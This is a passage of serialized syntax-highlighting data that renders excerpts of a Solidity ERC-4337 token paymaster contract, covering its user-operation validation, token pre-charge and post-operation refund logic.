BasePaymaster",{"type":26,"tag":217,"props":59438,"children":59439},{"style":7048},[59440],{"type":32,"value":7599},{"type":26,"tag":217,"props":59442,"children":59443},{"style":7119},[59444],{"type":32,"value":59445},"UniswapHelper",{"type":26,"tag":217,"props":59447,"children":59448},{"style":7048},[59449],{"type":32,"value":7599},{"type":26,"tag":217,"props":59451,"children":59452},{"style":7119},[59453],{"type":32,"value":59454},"OracleHelper",{"type":26,"tag":217,"props":59456,"children":59457},{"style":7048},[59458],{"type":32,"value":8064},{"type":26,"tag":217,"props":59460,"children":59461},{"class":7028,"line":6770},[59462],{"type":26,"tag":217,"props":59463,"children":59464},{"style":7048},[59465],{"type":32,"value":59466},"[...]\n",{"type":26,"tag":217,"props":59468,"children":59469},{"class":7028,"line":6779},[59470,59475,59480,59484,59489,59494,59499,59503,59508,59512,59517,59522],{"type":26,"tag":217,"props":59471,"children":59472},{"style":7154},[59473],{"type":32,"value":59474},"    function",{"type":26,"tag":217,"props":59476,"children":59477},{"style":7064},[59478],{"type":32,"value":59479}," _validatePaymasterUserOp",{"type":26,"tag":217,"props":59481,"children":59482},{"style":7048},[59483],{"type":32,"value":1851},{"type":26,"tag":217,"props":59485,"children":59486},{"style":7154},[59487],{"type":32,"value":59488},"PackedUserOperation",{"type":26,"tag":217,"props":59490,"children":59491},{"style":7154},[59492],{"type":32,"value":59493}," calldata",{"type":26,"tag":217,"props":59495,"children":59496},{"style":7054},[59497],{"type":32,"value":59498}," userOp",{"type":26,"tag":217,"props":59500,"children":59501},{"style":7048},[59502],{"type":32,"value":7599},{"type":26,"tag":217,"props":59504,"children":59505},{"style":7119},[59506],{"type":32,"value":59507},"bytes32",{"type":26,"tag":217,"props":59509,"children":59510},{"style":7048},[59511],{"type":32,"value":7599},{"type":26,"tag":217,"props":59513,"children":59514},{"style":7119},[59515],{"type":32,"value":59516},"uint256",{"type":26,"tag":217,"props":59518,"children":59519},{"style":7054},[59520],{"type":32,"value":59521}," requiredPreFund",{"type":26,"tag":217,"props":59523,"children":59524},{"style":7048},[59525],{"type":32,"value":10025},{"type":26,"tag":217,"props":59527,"children":59528},{"class":7028,"line":7140},[59529],{"type":26,"tag":217,"props":59530,"children":59531},{"style":7154},[59532],{"type":32,"value":59533},"        internal\n",{"type":26,"tag":217,"props":59535,"children":59536},{"class":7028,"line":7165},[59537],{"type":26,"tag":217,"props":59538,"children":59539},{"style":7154},[59540],{"type":32,"value":59541},"        override\n",{"type":26,"tag":217,"props":59543,"children":59544},{"class":7028,"line":7178},[59545,59550,59554,59559,59564,59569,59573,59577,59582],{"type":26,"tag":217,"props":59546,"children":59547},{"style":7042},[59548],{"type":32,"value":59549},"        returns",{"type":26,"tag":217,"props":59551,"children":59552},{"style":7048},[59553],{"type":32,"value":7051},{"type":26,"tag":217,"props":59555,"children":59556},{"style":7119},[59557],{"type":32,"value":59558},"bytes",{"type":26,"tag":217,"props":59560,"children":59561},{"style":7154},[59562],{"type":32,"value":59563}," memory",{"type":26,"tag":217,"props":59565,"children":59566},{"style":7054},[59567],{"type":32,"value":59568}," context",{"type":26,"tag":217,"props":59570,"children":59571},{"style":7048},[59572],{"type":32,"value":7599},{"type":26,"tag":217,"props":59574,"children":59575},{"style":7119},[59576],{"type":32,"value":59516},{"type":26,"tag":217,"props":59578,"children":59579},{"style":7054},[59580],{"type":32,"value":59581}," validationResult",{"type":26,"tag":217,"props":59583,"children":59584},{"style":7048},[59585],{"type":32,"value":10025},{"type":26,"tag":217,"props":59587,"children":59588},{"class":7028,"line":7389},[59589],{"type":26,"tag":217,"props":59590,"children":59591},{"style":7048},[59592],{"type":32,"value":37334},{"type":26,"tag":217,"props":59594,"children":59595},{"class":7028,"line":7406},[59596,59601],{"type":26,"tag":217,"props":59597,"children":59598},{"style":7042},[59599],{"type":32,"value":59600},"        unchecked",{"type":26,"tag":217,"props":59602,"children":59603},{"style":7048},[59604],{"type":32,"value":8064},{"type":26,"tag":217,"props":59606,"children":59607},{"class":7028,"line":7439},[59608,59613,59618,59622],{"type":26,"tag":217,"props":59609,"children":59610},{"style":7119},[59611],{"type":32,"value":59612},"            uint256",{"type":26,"tag":217,"props":59614,"children":59615},{"style":7048},[59616],{"type":32,"value":59617}," priceMarkup ",{"type":26,"tag":217,"props":59619,"children":59620},{"style":7149},[59621],{"type":32,"value":267},{"type":26,"tag":217,"props":59623,"children":59624},{"style":7048},[59625],{"type":32,"value":59626}," tokenPaymasterConfig.priceMarkup;\n",{"type":26,"tag":217,"props":59628,"children":59629},{"class":7028,"line":7487},[59630,59634,59639,59643],{"type":26,"tag":217,"props":59631,"children":59632},{"style":7119},[59633],{"type":32,"value":59612},{"type":26,"tag":217,"props":59635,"children":59636},{"style":7048},[59637],{"type":32,"value":59638}," baseFee ",{"type":26,"tag":217,"props":59640,"children":59641},{"style":7149},[59642],{"type":32,"value":267},{"type":26,"tag":217,"props":59644,"children":59645},{"style":7048},[59646],{"type":32,"value":59647}," tokenPaymasterConfig.baseFee;\n",{"type":26,"tag":217,"props":59649,"children":59650},{"class":7028,"line":7524},[59651,59655,59660,59664,59669,59673],{"type":26,"tag":217,"props":59652,"children":59653},{"style":7119},[59654],{"type":32,"value":59612},{"type":26,"tag":217,"props":59656,"children":59657},{"style":7048},[59658],{"type":32,"value":59659}," dataLength ",{"type":26,"tag":217,"props":59661,"children":59662},{"style":7149},[59663],{"type":32,"value":267},{"type":26,"tag":217,"props":59665,"children":59666},{"style":7048},[59667],{"type":32,"value":59668}," userOp.paymasterAndData.length ",{"type":26,"tag":217,"props":59670,"children":59671},{"style":7149},[59672],{"type":32,"value":18420},{"type":26,"tag":217,"props":59674,"children":59675},{"style":7048},[59676],{"type":32,"value":59677}," PAYMASTER_DATA_OFFSET;\n",{"type":26,"tag":217,"props":59679,"children":59680},{"class":7028,"line":7553},[59681,59686,59691,59695,59699,59703,59707,59711,59716,59720,59725],{"type":26,"tag":217,"props":59682,"children":59683},{"style":7042},[59684],{"type":32,"value":59685},"            require",{"type":26,"tag":217,"props":59687,"children":59688},{"style":7048},[59689],{"type":32,"value":59690},"(dataLength ",{"type":26,"tag":217,"props":59692,"children":59693},{"style":7149},[59694],{"type":32,"value":9106},{"type":26,"tag":217,"props":59696,"children":59697},{"style":7130},[59698],{"type":32,"value":9922},{"type":26,"tag":217,"props":59700,"children":59701},{"style":7149},[59702],{"type":32,"value":12520},{"type":26,"tag":217,"props":59704,"children":59705},{"style":7048},[59706],{"type":32,"value":59659},{"type":26,"tag":217,"props":59708,"children":59709},{"style":7149},[59710],{"type":32,"value":9106},{"type":26,"tag":217,"props":59712,"children":59713},{"style":7130},[59714],{"type":32,"value":59715}," 32",{"type":26,"tag":217,"props":59717,"children":59718},{"style":7048},[59719],{"type":32,"value":7599},{"type":26,"tag":217,"props":59721,"children":59722},{"style":7338},[59723],{"type":32,"value":59724},"\"TPM: invalid data length\"",{"type":26,"tag":217,"props":59726,"children":59727},{"style":7048},[59728],{"type":32,"value":7669},{"type":26,"tag":217,"props":59730,"children":59731},{"class":7028,"line":7570},[59732,59736,59741,59745,59750,59755],{"type":26,"tag":217,"props":59733,"children":59734},{"style":7119},[59735],{"type":32,"value":59612},{"type":26,"tag":217,"props":59737,"children":59738},{"style":7048},[59739],{"type":32,"value":59740}," maxFeePerGas ",{"type":26,"tag":217,"props":59742,"children":59743},{"style":7149},[59744],{"type":32,"value":267},{"type":26,"tag":217,"props":59746,"children":59747},{"style":7048},[59748],{"type":32,"value":59749}," userOp.",{"type":26,"tag":217,"props":59751,"children":59752},{"style":7064},[59753],{"type":32,"value":59754},"unpackMaxFeePerGas",{"type":26,"tag":217,"props":59756,"children":59757},{"style":7048},[59758],{"type":32,"value":8217},{"type":26,"tag":217,"props":59760,"children":59761},{"class":7028,"line":7621},[59762,59766,59771,59775],{"type":26,"tag":217,"props":59763,"children":59764},{"style":7119},[59765],{"type":32,"value":59612},{"type":26,"tag":217,"props":59767,"children":59768},{"style":7048},[59769],{"type":32,"value":59770}," refundPostopCost ",{"type":26,"tag":217,"props":59772,"children":59773},{"style":7149},[59774],{"type":32,"value":267},{"type":26,"tag":217,"props":59776,"children":59777},{"style":7048},[59778],{"type":32,"value":59779}," tokenPaymasterConfig.refundPostopCost;\n",{"type":26,"tag":217,"props":59781,"children":59782},{"class":7028,"line":7672},[59783,59787,59792,59796,59800,59805,59810,59815],{"type":26,"tag":217,"props":59784,"children":59785},{"style":7042},[59786],{"type":32,"value":59685},{"type":26,"tag":217,"props":59788,"children":59789},{"style":7048},[59790],{"type":32,"value":59791},"(refundPostopCost ",{"type":26,"tag":217,"props":59793,"children":59794},{"style":7149},[59795],{"type":32,"value":7289},{"type":26,"tag":217,"props":59797,"children":59798},{"style":7048},[59799],{"type":32,"value":59749},{"type":26,"tag":217,"props":59801,"children":59802},{"style":7064},[59803],{"type":32,"value":59804},"unpackPostOpGasLimit",{"type":26,"tag":217,"props":59806,"children":59807},{"style":7048},[59808],{"type":32,"value":59809},"(), ",{"type":26,"tag":217,"props":59811,"children":59812},{"style":7338},[59813],{"type":32,"value":59814},"\"TPM: postOpGasLimit too low\"",{"type":26,"tag":217,"props":59816,"children":59817},{"style":7048},[59818],{"type":32,"value":7669},{"type":26,"tag":217,"props":59820,"children":59821},{"class":7028,"line":7681},[59822,59826,59831,59835,59840,59844,59849,59853],{"type":26,"tag":217,"props":59823,"children":59824},{"style":7119},[59825],{"type":32,"value":59612},{"type":26,"tag":217,"props":59827,"children":59828},{"style":7048},[59829],{"type":32,"value":59830}," preChargeNative ",{"type":26,"tag":217,"props":59832,"children":59833},{"style":7149},[59834],{"type":32,"value":267},{"type":26,"tag":217,"props":59836,"children":59837},{"style":7048},[59838],{"type":32,"value":59839}," requiredPreFund ",{"type":26,"tag":217,"props":59841,"children":59842},{"style":7149},[59843],{"type":32,"value":3540},{"type":26,"tag":217,"props":59845,"children":59846},{"style":7048},[59847],{"type":32,"value":59848}," (refundPostopCost ",{"type":26,"tag":217,"props":59850,"children":59851},{"style":7149},[59852],{"type":32,"value":10006},{"type":26,"tag":217,"props":59854,"children":59855},{"style":7048},[59856],{"type":32,"value":59857}," maxFeePerGas);\n",{"type":26,"tag":217,"props":59859,"children":59860},{"class":7028,"line":7754},[59861,59866,59871],{"type":26,"tag":217,"props":59862,"children":59863},{"style":7033},[59864],{"type":32,"value":59865},"            // ",{"type":26,"tag":217,"props":59867,"children":59868},{"style":7154},[59869],{"type":32,"value":59870},"note",{"type":26,"tag":217,"props":59872,"children":59873},{"style":7033},[59874],{"type":32,"value":59875},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":26,"tag":217,"props":59877,"children":59878},{"class":7028,"line":7784},[59879,59883,59888,59892,59897,59901,59906,59910],{"type":26,"tag":217,"props":59880,"children":59881},{"style":7119},[59882],{"type":32,"value":59612},{"type":26,"tag":217,"props":59884,"children":59885},{"style":7048},[59886],{"type":32,"value":59887}," cachedPriceWithMarkup ",{"type":26,"tag":217,"props":59889,"children":59890},{"style":7149},[59891],{"type":32,"value":267},{"type":26,"tag":217,"props":59893,"children":59894},{"style":7048},[59895],{"type":32,"value":59896}," cachedPrice ",{"type":26,"tag":217,"props":59898,"children":59899},{"style":7149},[59900],{"type":32,"value":10006},{"type":26,"tag":217,"props":59902,"children":59903},{"style":7048},[59904],{"type":32,"value":59905}," DENOM ",{"type":26,"tag":217,"props":59907,"children":59908},{"style":7149},[59909],{"type":32,"value":5756},{"type":26,"tag":217,"props":59911,"children":59912},{"style":7048},[59913],{"type":32,"value":59914}," priceMarkup;\n",{"type":26,"tag":217,"props":59916,"children":59917},{"class":7028,"line":7802},[59918,59923,59928,59932,59936],{"type":26,"tag":217,"props":59919,"children":59920},{"style":7042},[59921],{"type":32,"value":59922},"            if",{"type":26,"tag":217,"props":59924,"children":59925},{"style":7048},[59926],{"type":32,"value":59927}," (dataLength ",{"type":26,"tag":217,"props":59929,"children":59930},{"style":7149},[59931],{"type":32,"value":9106},{"type":26,"tag":217,"props":59933,"children":59934},{"style":7130},[59935],{"type":32,"value":59715},{"type":26,"tag":217,"props":59937,"children":59938},{"style":7048},[59939],{"type":32,"value":7618},{"type":26,"tag":217,"props":59941,"children":59942},{"class":7028,"line":7811},[59943,59948,59953],{"type":26,"tag":217,"props":59944,"children":59945},{"style":7119},[59946],{"type":32,"value":59947},"                uint256",{"type":26,"tag":217,"props":59949,"children":59950},{"style":7048},[59951],{"type":32,"value":59952}," clientSuppliedPrice ",{"type":26,"tag":217,"props":59954,"children":59955},{"style":7149},[59956],{"type":32,"value":59957},"=\n",{"type":26,"tag":217,"props":59959,"children":59960},{"class":7028,"line":7820},[59961,59966,59970,59974,59979,59983,59988,59992,59996],{"type":26,"tag":217,"props":59962,"children":59963},{"style":7119},[59964],{"type":32,"value":59965},"                    uint256",{"type":26,"tag":217,"props":59967,"children":59968},{"style":7048},[59969],{"type":32,"value":1851},{"type":26,"tag":217,"props":59971,"children":59972},{"style":7119},[59973],{"type":32,"value":59507},{"type":26,"tag":217,"props":59975,"children":59976},{"style":7048},[59977],{"type":32,"value":59978},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":26,"tag":217,"props":59980,"children":59981},{"style":7149},[59982],{"type":32,"value":1473},{"type":26,"tag":217,"props":59984,"children":59985},{"style":7048},[59986],{"type":32,"value":59987},"PAYMASTER_DATA_OFFSET ",{"type":26,"tag":217,"props":59989,"children":59990},{"style":7149},[59991],{"type":32,"value":3540},{"type":26,"tag":217,"props":59993,"children":59994},{"style":7130},[59995],{"type":32,"value":59715},{"type":26,"tag":217,"props":59997,"children":59998},{"style":7048},[59999],{"type":32,"value":7137},{"type":26,"tag":217,"props":60001,"children":60002},{"class":7028,"line":7844},[60003,60007,60012,60016],{"type":26,"tag":217,"props":60004,"children":60005},{"style":7042},[60006],{"type":32,"value":35880},{"type":26,"tag":217,"props":60008,"children":60009},{"style":7048},[60010],{"type":32,"value":60011}," (clientSuppliedPrice ",{"type":26,"tag":217,"props":60013,"children":60014},{"style":7149},[60015],{"type":32,"value":7289},{"type":26,"tag":217,"props":60017,"children":60018},{"style":7048},[60019],{"type":32,"value":60020}," cachedPriceWithMarkup) {\n",{"type":26,"tag":217,"props":60022,"children":60023},{"class":7028,"line":7910},[60024,60029,60033],{"type":26,"tag":217,"props":60025,"children":60026},{"style":7033},[60027],{"type":32,"value":60028},"                    // ",{"type":26,"tag":217,"props":60030,"children":60031},{"style":7154},[60032],{"type":32,"value":59870},{"type":26,"tag":217,"props":60034,"children":60035},{"style":7033},[60036],{"type":32,"value":60037},": smaller number means 'more native asset per token'\n",{"type":26,"tag":217,"props":60039,"children":60040},{"class":7028,"line":7954},[60041,60046,60050],{"type":26,"tag":217,"props":60042,"children":60043},{"style":7048},[60044],{"type":32,"value":60045},"                    cachedPriceWithMarkup ",{"type":26,"tag":217,"props":60047,"children":60048},{"style":7149},[60049],{"type":32,"value":267},{"type":26,"tag":217,"props":60051,"children":60052},{"style":7048},[60053],{"type":32,"value":60054}," clientSuppliedPrice;\n",{"type":26,"tag":217,"props":60056,"children":60057},{"class":7028,"line":7985},[60058],{"type":26,"tag":217,"props":60059,"children":60060},{"style":7048},[60061],{"type":32,"value":13407},{"type":26,"tag":217,"props":60063,"children":60064},{"class":7028,"line":8027},[60065],{"type":26,"tag":217,"props":60066,"children":60067},{"style":7048},[60068],{"type":32,"value":36205},{"type":26,"tag":217,"props":60070,"children":60071},{"class":7028,"line":8035},[60072,60076,60081,60085,60090],{"type":26,"tag":217,"props":60073,"children":60074},{"style":7119},[60075],{"type":32,"value":59612},{"type":26,"tag":217,"props":60077,"children":60078},{"style":7048},[60079],{"type":32,"value":60080}," tokenAmount ",{"type":26,"tag":217,"props":60082,"children":60083},{"style":7149},[60084],{"type":32,"value":267},{"type":26,"tag":217,"props":60086,"children":60087},{"style":7064},[60088],{"type":32,"value":60089}," weiToToken",{"type":26,"tag":217,"props":60091,"children":60092},{"style":7048},[60093],{"type":32,"value":60094},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":26,"tag":217,"props":60096,"children":60097},{"class":7028,"line":8067},[60098,60103,60108],{"type":26,"tag":217,"props":60099,"children":60100},{"style":7048},[60101],{"type":32,"value":60102},"            tokenAmount ",{"type":26,"tag":217,"props":60104,"children":60105},{"style":7149},[60106],{"type":32,"value":60107},"+=",{"type":26,"tag":217,"props":60109,"children":60110},{"style":7048},[60111],{"type":32,"value":60112}," baseFee;\n",{"type":26,"tag":217,"props":60114,"children":60115},{"class":7028,"line":8107},[60116,60121,60126,60131,60136,60140,60144],{"type":26,"tag":217,"props":60117,"children":60118},{"style":7048},[60119],{"type":32,"value":60120},"            SafeERC20.",{"type":26,"tag":217,"props":60122,"children":60123},{"style":7064},[60124],{"type":32,"value":60125},"safeTransferFrom",{"type":26,"tag":217,"props":60127,"children":60128},{"style":7048},[60129],{"type":32,"value":60130},"(token, userOp.sender, ",{"type":26,"tag":217,"props":60132,"children":60133},{"style":7119},[60134],{"type":32,"value":60135},"address",{"type":26,"tag":217,"props":60137,"children":60138},{"style":7048},[60139],{"type":32,"value":1851},{"type":26,"tag":217,"props":60141,"children":60142},{"style":7154},[60143],{"type":32,"value":17968},{"type":26,"tag":217,"props":60145,"children":60146},{"style":7048},[60147],{"type":32,"value":60148},"), tokenAmount);\n",{"type":26,"tag":217,"props":60150,"children":60151},{"class":7028,"line":8145},[60152,60157,60161,60166,60170,60175],{"type":26,"tag":217,"props":60153,"children":60154},{"style":7048},[60155],{"type":32,"value":60156},"            context ",{"type":26,"tag":217,"props":60158,"children":60159},{"style":7149},[60160],{"type":32,"value":267},{"type":26,"tag":217,"props":60162,"children":60163},{"style":7154},[60164],{"type":32,"value":60165}," abi",{"type":26,"tag":217,"props":60167,"children":60168},{"style":7048},[60169],{"type":32,"value":180},{"type":26,"tag":217,"props":60171,"children":60172},{"style":7064},[60173],{"type":32,"value":60174},"encode",{"type":26,"tag":217,"props":60176,"children":60177},{"style":7048},[60178],{"type":32,"value":60179},"(tokenAmount, userOp.sender);\n",{"type":26,"tag":217,"props":60181,"children":60182},{"class":7028,"line":8154},[60183,60188],{"type":26,"tag":217,"props":60184,"children":60185},{"style":7048},[60186],{"type":32,"value":60187},"            validationResult ",{"type":26,"tag":217,"props":60189,"children":60190},{"style":7149},[60191],{"type":32,"value":59957},{"type":26,"tag":217,"props":60193,"children":60194},{"class":7028,"line":8162},[60195,60200,60204,60209,60213,60218,60223,60227,60232,60236],{"type":26,"tag":217,"props":60196,"children":60197},{"style":7064},[60198],{"type":32,"value":60199},"                _packValidationData",{"type":26,"tag":217,"props":60201,"children":60202},{"style":7048},[60203],{"type":32,"value":1851},{"type":26,"tag":217,"props":60205,"children":60206},{"style":7154},[60207],{"type":32,"value":60208},"false",{"type":26,"tag":217,"props":60210,"children":60211},{"style":7048},[60212],{"type":32,"value":7599},{"type":26,"tag":217,"props":60214,"children":60215},{"style":7119},[60216],{"type":32,"value":60217},"uint48",{"type":26,"tag":217,"props":60219,"children":60220},{"style":7048},[60221],{"type":32,"value":60222},"(cachedPriceTimestamp ",{"type":26,"tag":217,"props":60224,"children":60225},{"style":7149},[60226],{"type":32,"value":3540},{"type":26,"tag":217,"props":60228,"children":60229},{"style":7048},[60230],{"type":32,"value":60231}," tokenPaymasterConfig.priceMaxAge), ",{"type":26,"tag":217,"props":60233,"children":60234},{"style":7130},[60235],{"type":32,"value":1883},{"type":26,"tag":217,"props":60237,"children":60238},{"style":7048},[60239],{"type":32,"value":7669},{"type":26,"tag":217,"props":60241,"children":60242},{"class":7028,"line":8197},[60243],{"type":26,"tag":217,"props":60244,"children":60245},{"style":7048},[60246],{"type":32,"value":8722},{"type":26,"tag":217,"props":60248,"children":60249},{"class":7028,"line":8220},[60250],{"type":26,"tag":217,"props":60251,"children":60252},{"style":7048},[60253],{"type":32,"value":9754},{"type":26,"tag":217,"props":60255,"children":60256},{"class":7028,"line":8228},[60257],{"type":26,"tag":217,"props":60258,"children":60259},{"style":7048},[60260],{"type":32,"value":59466},{"type":26,"tag":217,"props":60262,"children":60263},{"class":7028,"line":8292},[60264,60268,60273,60277,60282,60286,60290,60294,60298,60302,60306,60311,60315,60319,60324],{"type":26,"tag":217,"props":60265,"children":60266},{"style":7154},[60267],{"type":32,"value":59474},{"type":26,"tag":217,"props":60269,"children":60270},{"style":7064},[60271],{"type":32,"value":60272}," _postOp",{"type":26,"tag":217,"props":60274,"children":60275},{"style":7048},[60276],{"type":32,"value":1851},{"type":26,"tag":217,"props":60278,"children":60279},{"style":7154},[60280],{"type":32,"value":60281},"PostOpMode",{"type":26,"tag":217,"props":60283,"children":60284},{"style":7048},[60285],{"type":32,"value":7599},{"type":26,"tag":217,"props":60287,"children":60288},{"style":7119},[60289],{"type":32,"value":59558},{"type":26,"tag":217,"props":60291,"children":60292},{"style":7154},[60293],{"type":32,"value":59493},{"type":26,"tag":217,"props":60295,"children":60296},{"style":7054},[60297],{"type":32,"value":59568},{"type":26,"tag":217,"props":60299,"children":60300},{"style":7048},[60301],{"type":32,"value":7599},{"type":26,"tag":217,"props":60303,"children":60304},{"style":7119},[60305],{"type":32,"value":59516},{"type":26,"tag":217,"props":60307,"children":60308},{"style":7054},[60309],{"type":32,"value":60310}," actualGasCost",{"type":26,"tag":217,"props":60312,"children":60313},{"style":7048},[60314],{"type":32,"value":7599},{"type":26,"tag":217,"props":60316,"children":60317},{"style":7119},[60318],{"type":32,"value":59516},{"type":26,"tag":217,"props":60320,"children":60321},{"style":7054},[60322],{"type":32,"value":60323}," actualUserOpFeePerGas",{"type":26,"tag":217,"props":60325,"children":60326},{"style":7048},[60327],{"type":32,"value":10025},{"type":26,"tag":217,"props":60329,"children":60330},{"class":7028,"line":8351},[60331],{"type":26,"tag":217,"props":60332,"children":60333},{"style":7154},[60334],{"type":32,"value":59533},{"type":26,"tag":217,"props":60336,"children":60337},{"class":7028,"line":8391},[60338],{"type":26,"tag":217,"props":60339,"children":60340},{"style":7154},[60341],{"type":32,"value":59541},{"type":26,"tag":217,"props":60343,"children":60344},{"class":7028,"line":8439},[60345],{"type":26,"tag":217,"props":60346,"children":60347},{"style":7048},[60348],{"type":32,"value":37334},{"type":26,"tag":217,"props":60350,"children":60351},{"class":7028,"line":8448},[60352,60356],{"type":26,"tag":217,"props":60353,"children":60354},{"style":7042},[60355],{"type":32,"value":59600},{"type":26,"tag":217,"props":60357,"children":60358},{"style":7048},[60359],{"type":32,"value":8064},{"type":26,"tag":217,"props":60361,"children":60362},{"class":7028,"line":8456},[60363,60367,60371,60375],{"type":26,"tag":217,"props":60364,"children":60365},{"style":7119},[60366],{"type":32,"value":59612},{"type":26,"tag":217,"props":60368,"children":60369},{"style":7048},[60370],{"type":32,"value":59617},{"type":26,"tag":217,"props":60372,"children":60373},{"style":7149},[60374],{"type":32,"value":267},{"type":26,"tag":217,"props":60376,"children":60377},{"style":7048},[60378],{"type":32,"value":59626},{"type":26,"tag":217,"props":60380,"children":60381},{"class":7028,"line":8500},[60382,60386,60390,60394],{"type":26,"tag":217,"props":60383,"children":60384},{"style":7119},[60385],{"type":32,"value":59612},{"type":26,"tag":217,"props":60387,"children":60388},{"style":7048},[60389],{"type":32,"value":59638},{"type":26,"tag":217,"props":60391,"children":60392},{"style":7149},[60393],{"type":32,"value":267},{"type":26,"tag":217,"props":60395,"children":60396},{"style":7048},[60397],{"type":32,"value":59647},{"type":26,"tag":217,"props":60399,"children":60400},{"class":7028,"line":8535},[60401,60406,60410,60415,60419,60424,60428,60432,60436,60441,60446,60450,60454,60458],{"type":26,"tag":217,"props":60402,"children":60403},{"style":7048},[60404],{"type":32,"value":60405},"            (",{"type":26,"tag":217,"props":60407,"children":60408},{"style":7119},[60409],{"type":32,"value":59516},{"type":26,"tag":217,"props":60411,"children":60412},{"style":7048},[60413],{"type":32,"value":60414}," preCharge, ",{"type":26,"tag":217,"props":60416,"children":60417},{"style":7119},[60418],{"type":32,"value":60135},{"type":26,"tag":217,"props":60420,"children":60421},{"style":7048},[60422],{"type":32,"value":60423}," userOpSender) ",{"type":26,"tag":217,"props":60425,"children":60426},{"style":7149},[60427],{"type":32,"value":267},{"type":26,"tag":217,"props":60429,"children":60430},{"style":7154},[60431],{"type":32,"value":60165},{"type":26,"tag":217,"props":60433,"children":60434},{"style":7048},[60435],{"type":32,"value":180},{"type":26,"tag":217,"props":60437,"children":60438},{"style":7064},[60439],{"type":32,"value":60440},"decode",{"type":26,"tag":217,"props":60442,"children":60443},{"style":7048},[60444],{"type":32,"value":60445},"(context, (",{"type":26,"tag":217,"props":60447,"children":60448},{"style":7119},[60449],{"type":32,"value":59516},{"type":26,"tag":217,"props":60451,"children":60452},{"style":7048},[60453],{"type":32,"value":7599},{"type":26,"tag":217,"props":60455,"children":60456},{"style":7119},[60457],{"type":32,"value":60135},{"type":26,"tag":217,"props":60459,"children":60460},{"style":7048},[60461],{"type":32,"value":8697},{"type":26,"tag":217,"props":60463,"children":60464},{"class":7028,"line":8664},[60465,60470,60474,60479],{"type":26,"tag":217,"props":60466,"children":60467},{"style":7048},[60468],{"type":32,"value":60469},"            preCharge ",{"type":26,"tag":217,"props":60471,"children":60472},{"style":7149},[60473],{"type":32,"value":36185},{"type":26,"tag":217,"props":60475,"children":60476},{"style":7048},[60477],{"type":32,"value":60478}," baseFee; ",{"type":26,"tag":217,"props":60480,"children":60481},{"style":7033},[60482],{"type":32,"value":60483},"// don't refund the base fee\n",{"type":26,"tag":217,"props":60485,"children":60486},{"class":7028,"line":8700},[60487,60491,60496,60500,60505,60509,60513],{"type":26,"tag":217,"props":60488,"children":60489},{"style":7119},[60490],{"type":32,"value":59612},{"type":26,"tag":217,"props":60492,"children":60493},{"style":7048},[60494],{"type":32,"value":60495}," _cachedPrice ",{"type":26,"tag":217,"props":60497,"children":60498},{"style":7149},[60499],{"type":32,"value":267},{"type":26,"tag":217,"props":60501,"children":60502},{"style":7064},[60503],{"type":32,"value":60504}," updateCachedPrice",{"type":26,"tag":217,"props":60506,"children":60507},{"style":7048},[60508],{"type":32,"value":1851},{"type":26,"tag":217,"props":60510,"children":60511},{"style":7154},[60512],{"type":32,"value":60208},{"type":26,"tag":217,"props":60514,"children":60515},{"style":7048},[60516],{"type":32,"value":7669},{"type":26,"tag":217,"props":60518,"children":60519},{"class":7028,"line":8708},[60520,60524,60528],{"type":26,"tag":217,"props":60521,"children":60522},{"style":7033},[60523],{"type":32,"value":59865},{"type":26,"tag":217,"props":60525,"children":60526},{"style":7154},[60527],{"type":32,"value":59870},{"type":26,"tag":217,"props":60529,"children":60530},{"style":7033},[60531],{"type":32,"value":59875},{"type":26,"tag":217,"props":60533,"children":60534},{"class":7028,"line":8716},[60535,60539,60543,60547,60551,60555,60559,60563],{"type":26,"tag":217,"props":60536,"children":60537},{"style":7119},[60538],{"type":32,"value":59612},{"type":26,"tag":217,"props":60540,"children":60541},{"style":7048},[60542],{"type":32,"value":59887},{"type":26,"tag":217,"props":60544,"children":60545},{"style":7149},[60546],{"type":32,"value":267},{"type":26,"tag":217,"props":60548,"children":60549},{"style":7048},[60550],{"type":32,"value":60495},{"type":26,"tag":217,"props":60552,"children":60553},{"style":7149},[60554],{"type":32,"value":10006},{"type":26,"tag":217,"props":60556,"children":60557},{"style":7048},[60558],{"type":32,"value":59905},{"type":26,"tag":217,"props":60560,"children":60561},{"style":7149},[60562],{"type":32,"value":5756},{"type":26,"tag":217,"props":60564,"children":60565},{"style":7048},[60566],{"type":32,"value":59914},{"type":26,"tag":217,"props":60568,"children":60569},{"class":7028,"line":8725},[60570],{"type":26,"tag":217,"props":60571,"children":60572},{"style":7033},[60573],{"type":32,"value":60574},"            // Refund tokens based on actual gas cost\n",{"type":26,"tag":217,"props":60576,"children":60577},{"class":7028,"line":8738},[60578,60582,60587,60591,60596,60600,60605,60609],{"type":26,"tag":217,"props":60579,"children":60580},{"style":7119},[60581],{"type":32,"value":59612},{"type":26,"tag":217,"props":60583,"children":60584},{"style":7048},[60585],{"type":32,"value":60586}," actualChargeNative ",{"type":26,"tag":217,"props":60588,"children":60589},{"style":7149},[60590],{"type":32,"value":267},{"type":26,"tag":217,"props":60592,"children":60593},{"style":7048},[60594],{"type":32,"value":60595}," actualGasCost ",{"type":26,"tag":217,"props":60597,"children":60598},{"style":7149},[60599],{"type":32,"value":3540},{"type":26,"tag":217,"props":60601,"children":60602},{"style":7048},[60603],{"type":32,"value":60604}," tokenPaymasterConfig.refundPostopCost ",{"type":26,"tag":217,"props":60606,"children":60607},{"style":7149},[60608],{"type":32,"value":10006},{"type":26,"tag":217,"props":60610,"children":60611},{"style":7048},[60612],{"type":32,"value":60613}," actualUserOpFeePerGas;\n",{"type":26,"tag":217,"props":60615,"children":60616},{"class":7028,"line":8755},[60617,60621,60626,60630,60634],{"type":26,"tag":217,"props":60618,"children":60619},{"style":7119},[60620],{"type":32,"value":59612},{"type":26,"tag":217,"props":60622,"children":60623},{"style":7048},[60624],{"type":32,"value":60625}," actualTokenNeeded ",{"type":26,"tag":217,"props":60627,"children":60628},{"style":7149},[60629],{"type":32,"value":267},{"type":26,"tag":217,"props":60631,"children":60632},{"style":7064},[60633],{"type":32,"value":60089},{"type":26,"tag":217,"props":60635,"children":60636},{"style":7048},[60637],{"type":32,"value":60638},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":26,"tag":217,"props":60640,"children":60641},{"class":7028,"line":8771},[60642,60646,60651,60655],{"type":26,"tag":217,"props":60643,"children":60644},{"style":7042},[60645],{"type":32,"value":59922},{"type":26,"tag":217,"props":60647,"children":60648},{"style":7048},[60649],{"type":32,"value":60650}," (preCharge 